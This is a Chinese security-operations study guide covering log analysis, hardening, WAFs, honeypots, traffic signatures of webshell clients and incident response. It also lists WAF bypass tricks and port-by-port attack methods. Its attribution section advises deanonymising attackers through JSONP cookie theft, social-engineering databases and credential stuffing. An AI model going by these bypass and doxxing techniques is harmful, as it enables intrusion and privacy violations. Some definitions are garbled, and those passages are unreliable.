  3. 分析数据包或日志:根据需求进行数据包或日志的分析,并尝试从中发现异常或可疑行为。例如,可以查找异常的流量模式、不寻常的端口、频率异常的请求等。
  4. 确认问题并记录结论:在分析过程中,需要确认是否存在安全问题,并记录所得到的结论。
  5. 对问题进行修复和防范:最后,需要针对分析结果采取相应的措施,例如修补漏洞、加强访问控制、优化安全策略等,以降低风险和增强安全性。

相关工具 网站

  • Wireshark:网络数据包分析工具,用于捕获和分析网络数据包。
  • ELK Stack:用于日志管理和分析的综合解决方案,包括Elasticsearch、Logstash和Kibana。
  • grep命令:用于在文本文件中搜索特定模式的字符串。
  • WHOIS查询工具:用于查询域名的注册信息。
  • 端口扫描工具:例如nmap,用于识别目标主机上开放的端口和服务。
  • CVE漏洞数据库:用于查询已知漏洞的详细信息。
  • OWASP Top 10:一个常见的Web应用程序安全风险排名列表,用于参考Web应用程序是否存在常见的安全问题

一个较大的日志,应该如何分析?

答:

攻击规则匹配通过正则匹配日志中的攻击请求

统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求

白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求

HMM 模型,类似于白名单,不同点在于可对正常请求自动化建立模型,从而通过正常模型找出不匹配者则为异常请求

使用日志分析工具,如LogForensics,Graylog,Nagios,ELK Stack等等

windows日志位置

系统事件记录器:Event Viewer 应用程序中提供了 Windows 系统的事件日志管理工具。这些日志文件通常存储在 C:\Windows\System32\winevt\Logs 目录中。

应用程序日志:包括应用程序特定的事件、错误和警告等信息,可以使用 Event Viewer 应用程序进行查看。这些日志文件通常存储在应用程序的安装目录下或者 Windows 系统目录中。

安全日志:记录有关系统安全性的重要信息,例如登录、注销、权限更改等。这些日志文件通常存储在 C:\Windows\System32\winevt\Security.evtx 文件中。

日志分析工具

Event Viewer:Windows 自带的日志管理工具,可以查看和分析 Windows 系统中的各种事件日志。

Log Parser:一款免费的命令行工具,可以查询和分析日志文件、IIS 日志、Windows 注册表、Active Directory 等数据源。

Microsoft Message Analyzer:一款强大的网络协议分析工具,可以捕获和分析 Windows 操作系统上的网络流量和事件日志。

Syslog-ng:一个高性能的日志管理工具,可以帮助用户收集和分析来自不同平台的日志信息。

Graylog:一款开源的日志管理工具,可以帮助用户收集、存储和分析来自不同来源的日志信息,并提供直观易用的用户界面。

Splunk:一款商业化的日志管理工具,可以帮助用户实时监控、搜索、分析和可视化来自不同来源的日志信息。

linux日志位置

  1. 系统日志:Linux 系统中的所有日志都存储在 /var/log 目录下。主要的日志文件包括:
  • /var/log/messages:记录系统启动期间的消息以及其他系统级别的消息。
  • /var/log/syslog:记录核心系统日志,也包括其他应用程序的日志。
  • /var/log/auth.log:记录用户登录和其他身份验证相关事件的日志文件。
  1. 各种服务/软件的日志文件:各种服务或软件分别根据自己的命名规范来命名相应的日志文件,其中一些可能位于 /var/log 目录下,而另一些则可能位于 /var/log/service 目录下。

linux日志分析命令

  1. grep 命令:用于在文本文件中搜索指定的字符串和模式,例如可以使用 grep error /var/log/messages 命令来查找系统日志中的错误信息。
  2. tail 命令:实时监视日志文件,并显示最新添加的日志信息,例如可以使用 tail -f /var/log/messages 命令来实时监视系统消息。
  3. sed 和 awk 命令:可以用来编辑和处理文本文件,例如可以使用 awk '/error/ {print $0}' /var/log/messages 命令来筛选出包含 error 字符串的日志信息。
  4. journalctl 命令:用于查询和查看 systemd 系统日志,例如可以使用 journalctl -u nginx.service 命令来查看 Nginx 服务的日志信息。
  5. dmesg 命令:用于打印内核环境变量缓冲区的内容包

安全加固

安全加固

公用的安全加固方式

  1. 更新补丁:定期更新操作系统、应用程序的补丁,修复已知的漏洞和安全问题。
  2. 强化口令策略:采用复杂、难以猜测的密码,并进行定期更换。同时可以启用账户锁定、多次失败尝试限制等功能,提高口令安全性。
  3. 加强身份验证:采用多因素身份验证技术,例如使用硬件令牌、生物特征等方式,确保只有授权用户才能访问系统。
  4. 安装防病毒软件:安装并及时更新防病毒软件,定期进行全盘扫描和实时监控,以便及时发现和处置潜在的恶意软件。
  5. 关闭不必要服务:关闭系统中不必要的服务和端口,降低攻击面,避免被利用。
  6. 限制访问权限:根据业务需要,设置合理的访问权限,对于未授权的用户或者设备进行限制,提高系统的安全性。
  7. 数据备份与恢复:定期备份重要数据,并将其存储在安全可靠的位置。在出现故障或事件时,能够快速恢复数据,避免数据丢失和系统停机。

Linux 安全加固:

  1. 更新所安装的软件包:定期更新系统中所有软件包以修复已知漏洞。
  2. 禁用不必要的服务:禁用不必要的网络服务,减少攻击面。
  3. 配置防火墙:使用防火墙限制入站和出站网络流量,只允许合法的流量通过。
  4. 加强密码策略:设置强密码策略并启用多因素身份验证。
  5. 禁用 root 登录:禁止使用 root 用户登录系统,并将 sudo 和 su 访问权限限制到必要的人员或组。
  6. 使用 SELinux 或 AppArmor:使用 SELinux 或 AppArmor 来实现更细粒度的应用程序和文件访问控制。
  7. 配置 SSH 访问:使用 SSH 协议连接服务器时配置限制 IP 地址和端口号等安全措施。
  8. 定期备份数据:定期备份重要数据至外部存储设备,以防止数据丢失和系统损坏。

Windows 安全加固:

  1. 更新操作系统和软件:及时安装 Windows 操作系统和软件的安全更新。
  2. 禁用 SMBv1:由于 SMBv1 协议存在一些严重的漏洞,建议禁用 SMBv1 协议。
  3. 启用 UAC:启用用户账户控制(UAC),以限制非管理员用户的系统访问权限。
  4. 配置防火墙:使用 Windows 防火墙过滤不必要的网络流量,并确保只允许合法的流量通过。
  5. 使用 BitLocker 或类似的加密工具:对重要数据和文件进行加密存储,以避免数据泄漏。
  6. 配置组策略:使用本地组策略或 Active Directory 组策略来限制用户和计算机的访问权限。
  7. 检查安全事件日志:定期检查 Windows 安全事件日志,了解系统中发生的任何异常事件。
  8. 定期备份数据:定期备份重要数据至外部存储设备,以防止数据丢失和系统损坏。

安全设备问题:

安全设备报警怎么办?

  1. 确认警告的真实性:首先需要确认收到的警报信息是否为真实的安全事件,需要对日志和其他相关信息进行分析和验证。如果发现确实存在安全问题,则需要立即采取适当措施。
  2. 优先级分类:不同类型的安全事件具有不同的严重程度和威胁级别,需要根据事件的类型、来源等因素进行分类和优先级排序,并采取相应的措施进行处理。
  3. 制定处理计划:根据事件情况和优先级,制定相应的处理计划和操作流程。这些计划可以包括隔离受感染主机、采取补救措施、收集证据等方面。
  4. 跟踪事件进展:在处理安全事件时,需要跟踪事件的进展和结果,并及时更新相关记录和文档。同时要保持与相关人员的沟通和协调,以便及时解决问题。
  5. 定期复查:定期审查和分析系统和设备的报警记录和日志,以及采取的应对措施和效果。这可以帮助发现系统中存在的风险和漏洞,并及时加以修复和优化。

设备误报如何处理?

来自外网的误报说明安全设备需要进行策略升级,不需要处置。

如果是来自内网的误报可以和负责人协商一下看能不能解决,有必要的话添加白名单处理。

有哪些安全设备:

入侵防御系统IPS

是计算机网络安全设施,是对防病毒软件和防火墙的补充。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。

入侵检测系统IDS

积极主动的防护措施,按照一定的安全策略,通过软件,硬件对网络,系统的运行进行实时的监控,发现网络攻击行为,主动的处理攻击,保证网络资源的机密性,完整性和可用性。

数据库审计系统

是对数据库访问行为进行监管的系统,通过镜像或者探针的方式采集所有数据库的访问流量,并基于SQL语法,语义的解析技术,记录下对数据库所有访问和操作行为,例如访问数据的用户IP,账号,时间等等,对数据进行操作的行为等等。

日志审计系统

日志审计系统能够通过主被动结合的手段,实时且不间断的采集用户网络中不同厂商的安全设备,网络设备,主机,操作系统以及各种应用系统产生的海量日志信息,并将这些信息汇集到审计中心,进行集中化存储,备份,查询,审计,告警,响应,并出具丰富的报表报告,获悉全网的整体安全运行态势,同时满足等保关于安全管理中心的日志保存时间大于6个月的要求。

堡垒机

是针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理,单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能。

漏洞扫描系统

漏洞扫描工具或者设备是基于漏洞数据库,通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测系统(我们常用的针对WEB站点进行扫描的工具和此处漏洞扫描系统不是一个概念)。

终端安全管理系统

是集防病毒,终端安全管控,终端准入,终端审计,外设管控,EDR等功能于一体,兼容不同操作系统和计算机平台,帮助客户实现平台一体化,功能一体化,数据一体化的终端安全立体防护。

态势感知

利用人工智能深度学习技术,将收集来的各种信息例如日志 流量 等信息,进行检测分析然后做出相应的处置 预警 再进行一些可视化的监测和报表除此之外可能还有集成了沙箱威胁情报功能模块

  1. 360态势感知:由中国著名安全厂商360推出的产品,主要提供网络威胁查询、漏洞扫描、流量分析等功能,同时集成了各种安全情报和指标,可以为用户提供全面的安全态势分析和预警服务。
  2. 腾讯云安全大脑:由腾讯云推出的产品,利用 AI、机器学习等技术对攻击进行实时监测和分析,提供包括漏洞扫描、风险评估、异常检测等一系列安全服务。
  3. 云锁事件响应中心:由阿里云推出的产品,提供网络空间威胁和安全事件的监测、预警、应急响应等服务。该产品采用 AI 算法进行态势感知,并可以自动化响应安全事故。
  4. 北京赛迪态势感知系统:由北京赛迪安全科技股份有限公司开发的产品,支持网络威胁情报搜集、风险事件自动识别、威胁行为关联分析等功能,可为企业提供全生命周期的网络安全保护。
  5. 启明星辰安全态势感知:由启明星辰推出的产品,提供整体安全态势感知、针对性攻击检测、应急响应等功能,可帮助用户实现从被动防御到主动防御的转变。

WAF

常见的绕过 WAF 手段

旁站绕过:例如 https 协议改成 http 协议,或者很多网站都会有备用域名,用备用域名试试

伪装身份:例如 修改 XFF 为可信 IP(如 127.0.0.1),伪装 UA,伪装成爬虫工具等

规则绕过:双写参数、大小写替换、编码转换、请求方式转换、注释、空白符、通配符绕过等

流量绕过:大量的参数个数、大量的参数长度、大体积的数据包、条件竞争等

IP 绕过:如果站点配置的是云 WAF,找到真实服务器的 IP 直接访问也有可能绕过 WAF 的检测

waf分类

  1. 基于签名的 WAF:基于签名的 WAF 通过检测请求中是否包含已知漏洞的特征,来拦截攻击。这种类型的 WAF 可以快速识别和阻止已知的攻击方式。
  2. 基于行为的 WAF:基于行为的 WAF 使用机器学习、人工智能等技术来分析请求的行为模式,并判断其是否具有攻击性。这种类型的 WAF 能够较好地识别未知攻击。
  3. 综合型 WAF:综合型 WAF 结合了基于签名和基于行为两种技术,能够同时检测已知攻击和未知攻击,提供更加全面的保护。

拦截方式

  1. 黑名单过滤:根据已知的攻击方式,设置黑名单规则,对符合规则的请求进行拦截。
  2. 白名单过滤:对请求进行白名单过滤,只允许符合规则的请求通过。
  3. 存储过程注入防护:对 SQL 注入进行防护。WAF 可以检测并拦截具有攻击意图的 SQL 语句,并对其进行相应的修复和防护。
  4. 跨站脚本(XSS)防护:WAF 可以检测并过滤包含恶意 JavaScript 代码的请求,并防止 XSS 攻击。
  5. 防止文件上传漏洞:WAF 可以检测并拦截包含恶意文件的请求,从而避免文件上传漏洞导致的攻击。

WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF

原理

WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

waf()

用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用 DNS 技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器

Web 防护软件

安装在需要防护的服务器上,实现方式通常是 Waf 监听端口或以 Web 容器扩展方式进行请求检测和阻断

硬件 Web 防火墙

Waf 串行部署在 Web 服务器前端,用于检测、阻断异常流量。常规硬件 Waf 的实现方式是通过代理技术代理来自外部的流量

原理都相同,通过部署在 Web 服务器前方串行接入来将 Web 流量牵引到 WAF 设备中进行清洗或者拦截,最终只把正常用户的请求转发给服务器

防火墙设置 IDS、安全管理平台

我在自己的服务器上开通过防火墙,使用cname接入的,在控制台添加要防护的网站域名,然后修改dns解析设置把流量解析到waf。

ufw命令(简单防火墙Uncomplicated FireWall)

检查防火墙的状态(默认 inactive) # ufw status

防火墙版本 # ufw version

启动ufw防火墙 # ufw enable

关闭ufw防火墙 # ufw disable

默认禁止访问所有 # ufw default deny

开放22/TCP端口 # ufw allow 22/tcp

开放53端口(tcp/udp) # ufw allow 53

禁止外部访问 # ufw deny 3306

删除已经添加过的规则 # ufw delete allow 22

允许此IP访问所有的本机端口 # ufw allow from 192.168.1.100

删除上面的规则 # ufw delete allow from 192.168.1.100

查看规则,显示行号 # ufw status numbered

删除第三条规则 # ufw delete 3

关闭ufw # ufw disable

禁止对8888端口的访问 # ufw deny 8888

蜜罐

蜜罐系统通常包括以下组件:

  1. 虚拟机:虚拟机用于运行蜜罐操作系统和应用程序,并提供与真实系统类似的环境。
  2. 模拟应用程序:模拟应用程序模拟真实应用程序的功能,但同时也被设计成易受攻击的。
  3. 监听器:监听器负责记录攻击者的所有行为,例如攻击方式、攻击目标、攻击时间等。
  4. 分析器:分析器负责对监听器收集到的数据进行分析,并生成相关的报告。

捕获社交id的方式:

JSONP跨域:结合第三方站点的一个接口存在jsonp漏洞 或者伪造的网站插入了一个js文件

利用该漏洞加载一个js,发送请求,并向蜜罐发送回一些数据信息,例如cookie,再拿cookie去请求即可获得数据

hfishd 开源蜜獾

蜜罐开饭的端口:

21端口:FTP文件传输协议端口,用来捕获黑客的FTP爆破行为

22端口:SSH端口 链接Linux主机SSH服务的端口,用来捕获黑客的SSH爆破行为

23端口:Telnet服务,命令执行服务,用来探测黑客对于telnet的爆破

80端口/443端口:WEB服务的端口,用来捕获黑客的WEB攻击行为特征

1521:oracle数据库开放端口,捕获黑客的oracle爆破行为,UDF命令执行等行为

3306:MYSQL端口,用来捕获黑客对于mysql数据库的爆破行为,UDF命令执行等行为

3389:Windows远程桌面端口,用来捕获黑客的爆破行

6379端口:REDIS端口,捕获黑客REDIS未授权访问的攻击,黑客利用redis写ssh秘钥,写webshell,执行计划任务等的攻击

445端口:SMB服务端口-黑客利用永恒之蓝Enternalblue的攻击行为,黑客的SMB账号爆破(通俗简单理解,爆破windows账号密码)

1433端口:Microsoft SQLserver端口,用来捕获黑客爆破1433端口的行为,并且查看黑客利用sqlserver xp_cmdshell,sp_cmdshell等组件命令执行的操作,存储过程的利用

135、139端口:捕获黑客的利用RPC共享的攻击(当蜜罐部署在内网)

比如在8080端口,部署一个假的vpn页面,吸引黑客攻击

IP 协议安全要求

远程登录取消 telnet 采用 ssh

设置 /etc/hosts.allow 和 deny

禁止 ICMP 重定向

禁止源路由转发

防 ssh 破解,iptables (对已经建立的所有链接都放行,限制每分钟连接 ssh 的次数)+ denyhost (添加 ip 拒绝访问)

溯源

通过wireshark工具如何对流量进行溯源

打开wireshark 使用过滤器来寻找某个ip的相关数据包 分析这些数据包 对可疑的ip进行whois查询尝试获取注册人的身份信息

如何封禁ip

  1. 登录防火墙或其他网络安全设备,进入配置界面。
  2. 找到IP过滤规则或黑名单功能,添加封禁规则。
  3. 在规则中填写要封禁的IP地址或IP地址段。
  4. 设置封禁的时间或持续期限(如永久封禁或暂时封禁)。
  5. 保存设置并生效,检查是否成功封禁目标IP。

溯源常见手法

  1. 网络日志溯源:根据网络日志记录来追踪网络活动的来源、目的地和传输路径。
  2. 数据库溯源:通过对数据库中数据修改、删除和查询等操作的记录,还原出相关事件的发生过程。
  3. 软件代码溯源:通过对软件代码进行逆向分析,确定软件的功能、用途和开发者信息。
  4. 文件元数据溯源:通过分析文件元数据(如文件创建时间、修改时间和所有者信息等)
  5. ,确定文件的来源和修改历史。
  6. 实体设备溯源:通过物理取证、数据提取和分析,还原数字设备被使用的历史记录和活动轨迹。

基本步骤

1.攻击源捕获

安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等

日志与流量分析,异常的通讯流量、攻击源与攻击目标等

服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等

邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等

蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息

2.溯源反制手段

IP 定位技术

根据IP定位物理地址–代理 IP

溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息

ID 追踪术

ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配

溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息

网站 url

域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护

溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析

恶意样本分析

提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析

溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者

社交账号

基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等

利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销

3.攻击者画像

攻击路径

攻击目的:拿到权限、窃取数据、获取利益、DDOS 等

网络代理:代理 IP、跳板机、C2 服务器等

攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等

攻击者身份画像

虚拟身份:ID、昵称、网名

真实身份:姓名、物理位置

联系方式:手机号、qq/微信、邮箱

组织情况:单位名称、职位信息

技巧

域名、ip 反查目标个人信息

支付宝转账,确定目标姓氏(转到非好友的支付宝账号)

淘宝找回密码,确定目标名字

企业微信手机号查公司名称

REG007 查注册应用、网站

程序 PDB 信息泄露

网络攻击原理、攻击手段、攻击检测方法

威胁分析平台

扫灰黑产

查日志

定位灰黑产 病毒 木马

打包下来 并且计算hash值

运行杀毒软件 杀病毒

流量分析

sql注入流量特征

参数长度异常。大多数的 SQL 注入参数由于需要截断、拼接、构造等操作,会导致参数的长度比较长;

特殊字符。大多数的 SQL 注入会包含如 '、 "、)、;、#、--、<!--、/** 等用于截断或者注释 SQL 语句的特殊字符;

参数编码。对参数进行 url、base64 等类型的编码,以及类似于宽字节注入常用的 %df5c 等编码方式,都是常见的绕过手段;

SQL 关键字。通常情况下正常的 SQL 参数是不会包含如 SELECT、 UNION、 ORDER BY、 UPDATEXML、 CONCAT、 TABLE、 DATABASE、 SLEEP等 SQL 关键字的,如果流量中出现了这类关键字就需要留意了。

大量的请求。短时间之内涌入大量的请求,有很大概率是扫描工具发起的流量,需要留意识别。

怎么从流量分析是不是误报?

可以用wireshark,分析流量数据包,分析流量是不是正常的业务操作,安全设备能否做正确的过滤

如何区分扫描流量和手工流量?

扫描流量请求数据量大,频率较高 而手工流量就少很多 时间间隔短

有一些扫描工具具有流量特征 可用结合使用wireshark分析 例如awvs appscan 请求头里的url headers 或者body里面就会有相应的logo

流量特征:

sqlmap第一个请求

appscan

nessus

中国菜刀:

连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 和 z2,名字都是可变的。

然后还有一段以QG开头,7J结尾的固定代码。

蚁剑:user-agent:antword

连接密码为123

url解码 有display error代码

去除混淆字符进行base64解码之后可以看到命令

一般将payload进行分段,然后分别进行base64编码,一般具有像eval这样的关键字,然后呢大概率还有@ini_set("display","0");这段代码(有的还通过了base64 或者url加密的)。

序列化:对象转换为字符串

反序列化:字符串转换为对象

shiro反序列化:查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞,查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。

fastjson反序列化:请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为

struts2-045:请求头中的Content-Type字段

冰蝎

冰蝎是一款基于java开发的动态加密通信流量的新型webshell客户端,冰蝎的通信过程可以分为两个阶段:秘钥协商 加密传输

php代码中可能存在eval,assert等关键词,jsp代码中可能会有getclass(),getclassLoader()等字符特征。

冰蝎2.0

第一阶段请求中返回包的状态码是200,返回内容是16位的密钥。建立连接后的cookie格式都是Cookie:PHPSessid=xxxx ;path=/;特征。

冰蝎3.0

请求包中的conten-length字段是5740或者5720

哥斯拉

1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。

2.在响应包的cache-control字段中有no-store,no-cache等特征。

3.所有请求中的cookie字段最后面都存在;特征

如何判断是否被攻击?

  1. 安全日志监控:对系统和应用程序的安全日志进行监控,可以及时发现异常活动和安全事件。例如,登录失败、异常访问、恶意软件入侵等。
  2. 网络流量分析:通过对网络流量进行监控和分析,可以发现可能存在的攻击行为。例如,大量来自某个 IP 地址或特定端口的流量、恶意脚本和代码注入等。
  3. 主机基线监测:通过对应用程序、操作系统和数据文件等资源进行基线监测,可以及时发现可能存在的异常变化和不正常的活动。
  4. 脆弱性扫描:通过使用脆弱性扫描工具,可以发现系统中可能存在的漏洞,并提供修补建议。
  5. 威胁情报监测:通过使用威胁情报库和服务,可以了解到当前存在的威胁活动,及时采取防御措施。
  6. 安全演练:通过进行安全演练,可以模拟真实的攻击场景,评估自身的安全状态,及时发现和修复存在的问题。

被攻击后,日志文件以及木马文件被删除怎样排查?

lsof工具恢复被删除的文件,然后查日志,查服务,查进程,查看是否有新增的账号,与备份文件对比,利用系统快照回滚,再分析日志 对比

出现报警信息,怎么看是误报还是攻击行为?

对报警的数据进行分析,看是不是内部人员的操作,还是真实的攻击、

webshell

判断反弹shell

数据包中有建立TCP连接 且服务器发送的数据不为0kb 且一般使用端口非常见的端口

连接请求又受害者发起

一般利用命令执行进行反弹 例如:

bash 脚本的bash

python脚本的 socket connect

php脚本的exec

java脚本的exec

nc脚本 /bin/sh

找到有该特征的数据包之后进一步分析 会话流量 查课是否执行了一些命令

服务器存在webshell处理

如果可以快照就快照,保留案发现场

  1. 扫描和确认Webshell

可以通过查看Web服务器日志或使用安全扫描工具来确认是否存在Webshell。找出所有可疑文件并进行彻底检查,以确定是否存在Webshell。

  1. 备份,删除Webshell

如果确定存在Webshell,需要立即将其删除,并对系统进行全面清理。删除Webshell时,应同时清除与Webshell相关的文件和目录,并且应用程序代码也需要进行更新和修复。

  1. 加强安全防护措施

为了避免服务器再次被感染,需要加强安全防护措施,包括加强服务器的监控和日志审计、安装杀毒软件并定期更新、限制非管理员用户权限等。

  1. 修改密码

修改服务器管理员的账户密码,并确保强密码策略得到实施,建议使用包含大写字母、小写字母、数字和特殊字符等不同类型字符组成的复杂密码,并设置密码长度要求。

  1. 更新和修复应用程序代码

Webshell通常是由于应用程序存在漏洞或安全问题而被植入的。因此,为了防止类似问题再次发生,需要及时更新并修复应用程序代码中的安全漏洞。

怎么判断自己被getshell了?

webshell:

查web日志,分析攻击流量

扫webshell

排查网站目录,查看最近更改的文件

shell:

查看未知端口,未知进程

排查恶意流量,锁定感染进程

有安全设备就看安全设备

操作:用D盾查杀

怎样从日志找webshell位置,被拿shell后怎么应急,怎样快速定位shell?

从日志 流量 文件开始,先定位位置 查看敏感目录 tmp usr/sbin etc/ssh ,结合everything对新创建文件,修改文件等进行查看,找特殊权限文件。流量的话 从ua和playload去分析。比如菜刀连jsp木马:第一个参数是a-q,这个是不会变的,第二个是编码,第三个是 playload。日志的话从找到的shell时间点去关联分析,可以还原攻击手法快速定位 就是看进程和内存 看占用时间长和占用率高的

网站被上传webshell如何处理

首先关闭网站,下线服务。有必要的话将服务器断网隔离

手工结合工具进行检测 查杀webshell D盾webshellkill,河马webshell查杀,百度在线webshell查杀

手工方面对比未上传webshell前的备份文件,从文件甚至代码层面进行对比(对比文件的hash值)如果不确定可用直接用备份文件替换了

加强安全策略,比如定期备份网站配置文件,及时安装服务器补丁,定期更新组件以及安全防护软件,定期修改密码等等措施

如何查杀webshell?

各种扫描工具

文件MD5校验

检测webshell 以及命令

命令

  1. echo:用于打印变量或字符串,可以用来检查变量的值是否正确。
  2. set:用于显示所有的 shell 变量和函数,包括环境变量。
  3. env:用于显示当前 shell 环境下的所有环境变量。
  4. source 或 .:用于读取并执行指定文件中的命令,通常用于重新加载配置文件。
  5. sh -x script.sh:用于以调试模式执行脚本,并输出每个执行的命令及其参数。
  6. ps:用于列出当前正在运行的进程,可以使用 ps aux 查看详细信息。
  7. top:用于实时查看系统资源的使用情况,可以用来定位占用 CPU 或内存过高的进程。
  8. grep:用于搜索指定的文本内容,可以用来查找特定日志文件中的错误信息等。
  1. 查看Web服务器访问日志:Webshell通常会产生异常的网络流量,例如向非标准端口发送POST请求等。查看Web服务器的访问日志,观察是否存在异常的请求。
  2. 安全扫描工具:使用安全扫描工具对Web服务器进行扫描,以检测是否存在Webshell。常用的安全扫描工具包括Nessus、OpenVAS等。
  3. 文件监控:Webshell通常会将恶意代码写入某个文件中,因此可以通过文件监控工具来检测Webshell。例如,当文件被修改时,文件监控工具会立即发送警报。
  4. 内存监控:有些高级的Webshell可能不会在磁盘上留下任何痕迹,而是直接将代码注入到内存中。因此,可以使用内存监控工具来检测是否存在Webshell。
  5. 安全审计:对Web服务器进行安全审计,检查是否存在安全漏洞,例如文件上传漏洞、命令注入漏洞等。攻击者通常会利用这些漏洞来上传Webshell。

内网报警了怎么办?

首先就要是定位到具体的那一台机器,既然报警那就说明知道了具体的漏洞类型,加相应的补丁打上,以linux为主(一般都会问linux的),查看/var/log/secure系统日志,查看登录失败的记录,还有Linux历史命令--&gt;home目录的bash_histor,查看执行过的命令。

在利用webshell或者是shell查杀工具查杀,查看tmp目录下是非有带有免杀的木马。彻底清除。再到全流量分析的机子上看,是非有经过其他的机器。

拿到攻击ip之后到线上的一些网站查看主机类型,比如360或者微步上,查看是非是傀儡机,vps跳板,或者是国内个人云主机。

如果是个人云主机,就可以通过whois查看是非有最近绑定的域名,或者绑定者的邮箱。

知道邮箱之后就可以反查询出qq号说多少,再利用社工查询到手机号,到一个知名的网站上查询这个手机号有没有注册过什么网站,可以去这些网站通过撞库的方法登入,这样就可以拿到这个攻击者的身份证,学校,地址这些了。

如何识别安全设备中的无效告警?

比如说:攻击方通过对目标资产所处的C段进行批量扫描,但C段的资产并非都是处于「活跃」状态,甚至根本没有这个资产。而安全设备还是因为这个「攻击尝试行为」产生了告警,那么这种告警就属于“无效告警”。

比如说:攻击方尝试利用现成的“EXP&POC集成脚本工具”对资产目标进行检测扫描,安全设备检测到“攻击尝试行为”中的攻击特征就会产生告警。在通常情况下,可以把告警中的URL的“网页状态码”、“页面回显数据”作为“误报告警”判断的条件之一。

常见的端口是哪些,是什么服务,对应的红队攻击方式?

数据库类(扫描弱口令)

1433:MSSQL

1521:Oracle

3306:Mysql

5432:PostgreSQL

特殊服务类(未授权/命令执行)

443:ssl 心脏滴血

873:Rsync 未授权

5984:CouchDB http://xxx:5984/_utils/

6379:Redis 未授权

7001、7002:Weblogic 默认弱口令

8088:Hadoop Yarn 资源管理系统 REST API 存在未授权

8161:Apache ActiveMQ 未授权、弱口令,put 文件上传,move 文件移动

9200、9300:elasticsearch 命令执行

11211:Memcache 未授权,telnet ip 就可以获得服务器敏感信息

27017、27018:Mongodb 未授权

50000:SAP 命令执行

50070、50030 Hadoop 未授权访问

常用端口类(弱口令/端口爆破)

21:FTP 弱口令,匿名 anonymous/空登录,以及 ms12-073

25:SMTP 简单邮件传输服务器端口

23:Telnet 的端口,Telnet 是一种可以远程登录并管理远程机器的服务

22:ssh 端口,PcAnywhere 建立 TCP 和这一端口的连接可能是为了寻找 ssh,这一服务有许多弱点

53:dns 端口

139:属于 TCP 协议,是为 NetBIOS Session Service 提供的,主要提供 Windows 文件和打印机共享以及 Unix 中的 Samba 服务

445:网络共享 smb 服务,尝试利用 ms08067,ms17010 等以及 IPC$ 攻击手段

2601、2604:zebra 路由,默认密码 zebra

web服务器端口修改 以及防御54451

阿帕奇

httpd.conf

nginx

nginx.conf

tomcat

server.xml


相关端口防御

  1. 使用复杂的密码和多因素身份验证,提高登录安全性。
  2. 及时更新软件版本和安全补丁,修复已知的漏洞。
  3. 限制访问权限,仅允许授权用户访问系统,并对不明来源的流量进行阻拦或监测。
  4. 部署入侵检测系统(IDS)或入侵防御系统(IPS),对入侵行为进行实时监测和防范。
  5. 定期进行漏洞扫描、安全审计等工作,及时发现并修补系统中存在的漏洞

如何发现电脑中了木马

主动发送DNS解析陌生域名,不断尝试与攻击者的域名进行连接

不断发送TCP连接请求控制端进行控制

有出现持续的tcp长连接

对发送的数据量大于接收的数据量

木马驻留系统的方式有哪些?

a. 注册表
b. 服务
c. 启动目录
d. 计划任务
e. 关联文件类型

常见OA系统?

PHP:通达OA、泛微 Eoffice

Java:泛微OA/云桥、致远OA、蓝凌OA、用友OA

ASP:启莱OA

威胁情报库

  1. 微步在线(ThreatBook):微步在线是国内领先的网络安全威胁情报服务提供商,其威胁情报库包括恶意软件、攻击源IP、域名等方面的信息。
  2. 国家互联网应急中心(CNCERT):CNCERT 是中国政府统一组织和协调全国互联网安全工作的部门,其威胁情报库包括漏洞、恶意代码、攻击事件等方面的信息。
  3. 安恒威胁情报中心(ATIS):ATIS 是安恒信息安全研究院旗下的威胁情报中心,其威胁情报库涵盖了APT攻击、Web攻击、恶意邮件、移动恶意软件等方面的信息。
  4. 漏洞盒子(KnownSec):漏洞盒子是一家致力于网络安全防御和攻防技术研究的公司,其威胁情报库包括漏洞、恶意代码等方面的信息。
  5. 360威胁情报中心(360 TI Center):360 威胁情报中心聚焦于威胁情报、安全事件响应和恶意代码研究等领域,其威胁情报库包括APT攻击、恶意URL等方面的信息。

JAVA内存马排查

Java内存马,也称为Java远程代码执行漏洞,是一种利用Java反序列化漏洞的攻击方式。攻击者可以通过构造恶意的序列化对象,将其发送给目标服务器并触发反序列化操作,从而在目标服务器上执行任意代码。以下是几种排查Java内存马的方法:

